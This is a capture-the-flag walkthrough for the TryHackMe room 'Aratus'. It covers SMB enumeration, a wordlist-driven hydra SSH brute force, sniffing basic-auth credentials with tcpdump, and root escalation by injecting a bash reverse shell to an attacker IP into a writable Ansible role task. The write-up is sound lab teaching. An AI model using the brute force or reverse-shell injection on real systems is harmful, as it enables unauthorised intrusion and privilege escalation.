Aratus

Hello. This is a walk-through for the box Aratus on the Try Hack Me platform. The box can be found by following this link: https://tryhackme.com/room/aratus

This was a really fun box. Thank you Binru for putting this together. A big shout out to the people on the discord server who helped me out with this box when I got stuck.

Lassi
Mmmmmmmmm
Gavroche

I can not over state how great the TryHackMe discord channel is. If you are not part of it, jump on. They have plenty of channels and plenty of people to talk with. They will drop new channels when every a new room drops. It is a great place to learn and ask questions.

1. First look:

Once you have joined the room and have the box started, it is time to run a port scan.

```
└─$ rustscan --ulimit 4000 -a aratus.thm -- -sV -sC
```

Following is the list of ports I found from the scan:

```
Open 10.10.84.112:22
Open 10.10.84.112:21
Open 10.10.84.112:80
Open 10.10.84.112:139
Open 10.10.84.112:443
Open 10.10.84.112:445
```

21 – ftp
22 – ssh
80 – http
139, 445 – samba
443 – https

2. Enumerating the ports:

Further down the results we see that we can login via ftp as anonymous. Doing this doesn't reveal anything except an empty folder. Both websites on 80 and 443 are the same static default pages. Nothing in the source code and running ffuf only revealed a cgi-bin directory. Lets keep looking before we start looking there.

Using the following command we can list out info from the samba service:

```
└─$ smbclient -L \\aratus.thm
```

This reveals:

```
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        temporary share Disk
        IPC$            IPC       IPC Service (Samba 4.10.16)
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
```

This shows one directory that we might be able to look into, temporary share. Now use smbclient to connect to it so we can look around:

```
└─$ smbclient \\\\aratus.thm\\temporary\ share
```

Note the '\ ' before share. Yes this is needed and it caused me about 30 mins of headache trying to figure out why I could not connect.

Once connected, ls or dir to see what we have.

```
smb: \> ls
  .                                   D        0  Mon Jan 10 08:06:44 2022
  ..                                  D        0  Tue Nov 23 11:24:05 2021
  .bash_logout                        H       18  Tue Mar 31 22:17:30 2020
  .bash_profile                       H      193  Tue Mar 31 22:17:30 2020
  .bashrc                             H      231  Tue Mar 31 22:17:30 2020
  .bash_history                       H        0  Sat Mar 26 21:01:36 2022
  chapter1                            D        0  Tue Nov 23 05:07:47 2021
  chapter2                            D        0  Tue Nov 23 05:08:11 2021
  chapter3                            D        0  Tue Nov 23 05:08:18 2021
  chapter4                            D        0  Tue Nov 23 05:08:25 2021
  chapter5                            D        0  Tue Nov 23 05:08:33 2021
  chapter6                            D        0  Tue Nov 23 05:12:24 2021
  chapter7                            D        0  Tue Nov 23 06:14:27 2021
  chapter8                            D        0  Tue Nov 23 05:12:45 2021
  chapter9                            D        0  Tue Nov 23 05:12:53 2021
  .ssh                               DH        0  Mon Jan 10 08:05:34 2022
  .viminfo                            H        0  Sat Mar 26 21:01:36 2022
  message-to-simeon.txt               N      251  Mon Jan 10 08:06:44 2022

                37726212 blocks of size 1024. 35600024 blocks available
```

Okay! A text file, several folders, and a .ssh folder. Looking into the ssh folder was a bust, no id_rsa. Looking into the chapter folders, you will come across a large amount of text files. Alright, time to pull this down to your local machine to look at them.

3. The hunt begins:

First, issue the following in order, so you can recursively download the folders and the text files.

```
smb: \> prompt
smb: \> prompt
smb: \> recurse
smb: \> mget ch*
```

Next, grab the text file. Command is: get mess*.txt

Reading the text file we can see that it is addressed to Simeon from Theodore. Possible names to gain access with. Theo makes mention of Simeon's book writing and how he needs to move it to /opt. Also talks about how Simeon needs to change his password. Stating that it is everywhere now. Did Simeon use his password in the text in one of the chapters?

Looking at the text files in the Chapter folders we see that they are all the same thing. A bunch of Lorem Ipsum text. Given what Theodore said in the message, the password for Simeon's login may be one of the words in this text files. After checking that all the files where the same size, I decided to make a password list out of one of them. You will need two terminals for this. On the first, navigate to chapter1/paragraph1.1/.
Once there run:

python3 -m http.server

This is a handy way to host files to be able to access them over the network. One the second terminal runt the following:

cewl http://127.0.0.1:8000/text1.txt > plist

This will go through the text and make a list of all the text from a website. Handy little tool.

4. Foothold:

Now that we have a list and a name, lets try to get access to the machine. Since ssh is open, we will go for that first. Using hydra run the following:

```
└─$ hydra -l simeon -P /home/gand0rf/pen/sites/THM/aratus/plist aratus.thm -f ssh -t 4
```

This took a few minutes to run on my kali, but it did find a password!!

```
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-03-26 21:12:26
[DATA] max 4 tasks per 1 server, overall 4 tasks, 207 login tries (l:1/p:207), ~52 tries per task
[DATA] attacking ssh://aratus.thm:22/
[STATUS] 44.00 tries/min, 44 tries in 00:01h, 163 to do in 00:04h, 4 active
[STATUS] 31.33 tries/min, 94 tries in 00:03h, 113 to do in 00:04h, 4 active
[STATUS] 31.00 tries/min, 124 tries in 00:04h, 83 to do in 00:03h, 4 active
[STATUS] 28.80 tries/min, 144 tries in 00:05h, 63 to do in 00:03h, 4 active
[STATUS] 30.67 tries/min, 184 tries in 00:06h, 23 to do in 00:01h, 4 active
[22][ssh] host: aratus.thm   login: simeon   password: [redacted]
[STATUS] attack finished for aratus.thm (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-03-26 21:19:01
```

Great!! Let's try and login with it now.

```
└─$ ssh simeon@aratus.thm
```

```
simeon@aratus.thm's password:
Last failed login: Sun Mar 27 03:19:05 CEST 2022 from ip-10-6-126-127.eu-west-1.compute.internal on ssh:n
otty
There were 227 failed login attempts since the last successful login.
Last login: Mon Jan 10 14:07:52 2022 from 172.16.42.100
[simeon@aratus ~]$
```

WE ARE IN!!

The first thing I tend to do is check sudo output with:

sudo -l

Sadly, nothing comes up. Having a look around the home directory turns up nothing. Not even the user.txt file. Since we are on a linux machine, the next step would be a tool call linpeas. If you are not familiar with it, here is the link to the gihub:

https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS

Using the python3 -m http.server from earlier, host the file on your machine and use curl to download it to the target box.

```
[simeon@aratus ~]$ curl http://10.6.126.127:8000/linpeas.sh > linpeas.sh
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  757k  100  757k    0     0  1003k      0 --:--:-- --:--:-- --:--:-- 1002k
[simeon@aratus ~]$
```

5. Lateral move:

Make sure to use 'chmod +x linpeas.sh' to make the script runable. Run it with './linpeas.sh'. Going through the output, you should come across the following output:

```
Can I sniff with tcpdump?
https://book.hacktricks.xyz/linux-unix/privilege-escalation#sniffing
You can sniff with tcpdump!
```

Alright. So. Tcpdump. Cool tool. Basically a terminal wireshark. Thankfully for this box it doesn't get to complicated on how to use it. First we:

```
[simeon@aratus ~]$ tcpdump -D
1.eth0
2.nflog (Linux netfilter log (NFLOG) interface)
3.nfqueue (Linux netfilter queue (NFQUEUE) interface)
4.any (Pseudo-device that captures on all interfaces)
5.lo [Loopback]
[simeon@aratus ~]$
```

tcpdump -D will list all of the interfaces that you can listen on. If you listen to eth0, you will just get flooded with packets from your ssh connection. So lets listen in on option 5. If there are any automated scripts running, we should be able to see the info there.

Following is the command to listen, specify which interface, and outputting it to a file.

```
[simeon@aratus ~]$ tcpdump -i lo -w test.pcap
```

I like to save it to a file, to look through in case there is a flood of info. Also, you will be able to see info that is in the packets, not just the header info that normally prints out on the terminal. Let it run for about 5 minuets. Use ‘CTRL-C’ to stop it. Then use ‘vi test.pcap’ to read the file.

Inside you should come across like the following:

```
^@^Tôx^@^TôxGET /test-auth/index.html HTTP/1.1^M
Host: 127.0.0.1^M
User-Agent: python-requests/2.14.2^M
Accept-Encoding: gzip, deflate^M
Accept: */*^M
Connection: keep-alive^M
Authorization: Basic dGhlb2RvcmU6UmlqeWFzd2FoZWJjZWliYXJqaWs=^M
^M
```

Cool, we found a base64 string. Copy the string and use the following to decode it:

echo ‘*BASE64_STRING’* | base64 -d

Now we have another password and who it belongs to. Use ‘su theodore’ to switch to Thedore with the password.

```
[simeon@aratus ~]$ su theodore
Password:
[theodore@aratus simeon]$
```

The user.txt file is located in Theodores home folder.

6. <u>Rooting:</u>

Checking sudo -l shows the following:

```
[theodore@aratus simeon]$ sudo -l
Matching Defaults entries for theodore on aratus:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset,
    env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME
    LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE
    LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User theodore may run the following commands on aratus:
    (automation) NOPASSWD: /opt/scripts/infra_as_code.sh
```

So we have a script that we can run as automation user. Take a look at the script to see what it is doing.

```
[theodore@aratus simeon]$ cat /opt/scripts/infra_as_code.sh
#!/bin/bash
cd /opt/ansible
/usr/bin/ansible-playbook /opt/ansible/playbooks/*.yaml
```

So it changes directories and then using ansible-playbook, it runs several yaml files. There doesn't seem to be a way we can pass info into the script to do a shell with ansible and we can not edit the file. Let's go look at the yaml files.

```
[theodore@aratus simeon]$ ls /opt/ansible/playbooks
firewalld.yaml  httpd.yaml  smbd.yaml  sshd.yaml  vsftpd.yaml
```

There 5 of them. Looking through them using cat command, we come across something interesting and different from the others:

```
[theodore@aratus simeon]$ cat /opt/ansible/playbooks/httpd.yaml
---
- name: Install and configure Apache
  hosts: all
  become: true
  roles:
    - role: geerlingguy.apache
  tasks:
    - name: configure firewall
      firewalld:
        service: "{{ item }}"
        state: enabled
        permanent: yes
        immediate: yes
      loop:
        - http
        - https
...
```

The ones uses 'roles' and 'task'. If you have a look around in /opt/ansible, we will find a folder called roles. Inside is another folder called geerlingguy.apache . Inside of that one, there are several things. Including a folder called roles.

```
[theodore@aratus ansible]$ ls
ansible.cfg  inventory  playbooks  README.txt  roles
```

```
[theodore@aratus ansible]$ cd roles
[theodore@aratus roles]$ ls
geerlingguy.apache
[theodore@aratus roles]$ cd geer*
[theodore@aratus geerlingguy.apache]$ ls
defaults  handlers  LICENSE  meta  molecule  README.md  tasks  templates  vars
[theodore@aratus geerlingguy.apache]$ cd tasks
[theodore@aratus tasks]$ ls
configure-Debian.yml  configure-Solaris.yml  main.yml          setup-RedHat.yml   setup-Suse.yml
configure-RedHat.yml  configure-Suse.yml     setup-Debian.yml  setup-Solaris.yml
[theodore@aratus tasks]$ ls -al
total 36
drwxr-xr-x. 2 automation automation  228 Dec  2 11:55 .
drwxr-xr-x. 9 automation automation  178 Dec  2 11:55 ..
-rw-rw-r--. 1 automation automation 1693 Dec  2 11:55 configure-Debian.yml
-rw-rw-r--+ 1 automation automation 1123 Dec  2 11:55 configure-RedHat.yml
-rw-rw-r--. 1 automation automation  546 Dec  2 11:55 configure-Solaris.yml
-rw-rw-r--. 1 automation automation  711 Dec  2 11:55 configure-Suse.yml
-rw-rw-r--. 1 automation automation 1388 Dec  2 11:55 main.yml
-rw-rw-r--. 1 automation automation  193 Dec  2 11:55 setup-Debian.yml
-rw-rw-r--. 1 automation automation  198 Dec  2 11:55 setup-RedHat.yml
-rw-rw-r--. 1 automation automation  134 Dec  2 11:55 setup-Solaris.yml
-rw-rw-r--. 1 automation automation  133 Dec  2 11:55 setup-Suse.yml
[theodore@aratus tasks]$
```

Using ls -al, we can see something interesting. Look closely or you will over look it like I did. For 2 hours I didn't see this. Yeah, everyone has off days and this was mine. The file 'configure-RedHat.yml' has a + next to its permissions. That means we might be able to write to it. Open it with vi and let's take a look.

```
---
- name: Configure Apache.
  lineinfile:
    dest: "{{ apache_server_root }}/conf/{{ apache_daemon }}.conf"
    regexp: "{{ item.regexp }}"
    line: "{{ item.line }}"
    state: present
    mode: 0644
  with_items: "{{ apache_ports_configuration_items }}"
  notify: restart apache

- name: Check whether certificates defined in vhosts exist.
  stat: path={{ item.certificate_file }}
  register: apache_ssl_certificates
  with_items: "{{ apache_vhosts_ssl }}"

- name: Add apache vhosts configuration.
  template:
    src: "{{ apache_vhosts_template }}"
    dest: "{{ apache_conf_path }}/{{ apache_vhosts_filename }}"
    owner: root
    group: root
    mode: 0644
  notify: restart apache
  when: apache_create_vhosts | bool

- name: Check if localhost cert exists (RHEL 8 and later).
  stat:
    path: /etc/pki/tls/certs/localhost.crt
  register: localhost_cert
  when: ansible_distribution_major_version | int ≥ 8

- name: Ensure httpd certs are installed (RHEL 8 and later).
  command: /usr/libexec/httpd-ssl-gencerts
  when:
    - ansible_distribution_major_version | int ≥ 8
    - not localhost_cert.stat.exists
```

Interesting. This stuff was all new to me on this box. Taking a look at the last couple of entries, we see each item has a name , command, and when variable. Lets see if we can edit the file. Add the following to the end of the file leaving a space after the last entry.

- name: evil script

Trying to save the file, we see that we can. Reopen it and we can see that the new item is still there.
Now let’s try and input our own command. Let’s go with a bash reverse shell. Once entered, the two lines we added should look like this:

```
- name: evil script
  command: /bin/bash -c 'exec bash -i &>/dev/tcp/10.6.126.127/5000 <&1'
```

Save and get ready to run the file.

Setup nc on your machine to listen to the port you put in the script. Then use the following to run the script:

```
[theodore@aratus tasks]$ sudo -u automation /opt/scripts/infra_as_code.sh
```

Make sure to put yes.

```
PLAY [Check status of the firewall] ********************************************

TASK [Gathering Facts] *********************************************************
The authenticity of host '10.10.84.112 (10.10.84.112)' can't be established.
ECDSA key fingerprint is SHA256:5CxDqeYb3rPlNvmv3Hd+R2ZZuwoGQ/2fuul51QgP/N0.
ECDSA key fingerprint is MD5:33:66:35:36:b0:68:06:32:c1:8a:f6:01:bc:43:38:ce.
Are you sure you want to continue connecting (yes/no)?
```

A lot of stuff runs by, but it should stop on the section for our evil script item.

```
TASK [geerlingguy.apache : Check if localhost cert exists (RHEL 8 and later).]
skipping: [10.10.84.112]

TASK [geerlingguy.apache : Ensure httpd certs are installed (RHEL 8 and later)
skipping: [10.10.84.112]

TASK [geerlingguy.apache : evil script] ****************************************
```

Check your local machine. You should have a connection now.

```
└─$ nc -lvnp 5000
listening on [any] 5000 ...
connect to [10.6.126.127] from (UNKNOWN) [10.10.84.112] 49294
[root@aratus automation]# whoami
whoami
root
[root@aratus automation]#
```

Congrats!! We have root. Grab the flag from /root/root.txt and complete the room.

This was a great room. I learned a lot from this and I hope you did as well.
Again, thank you Biniru!!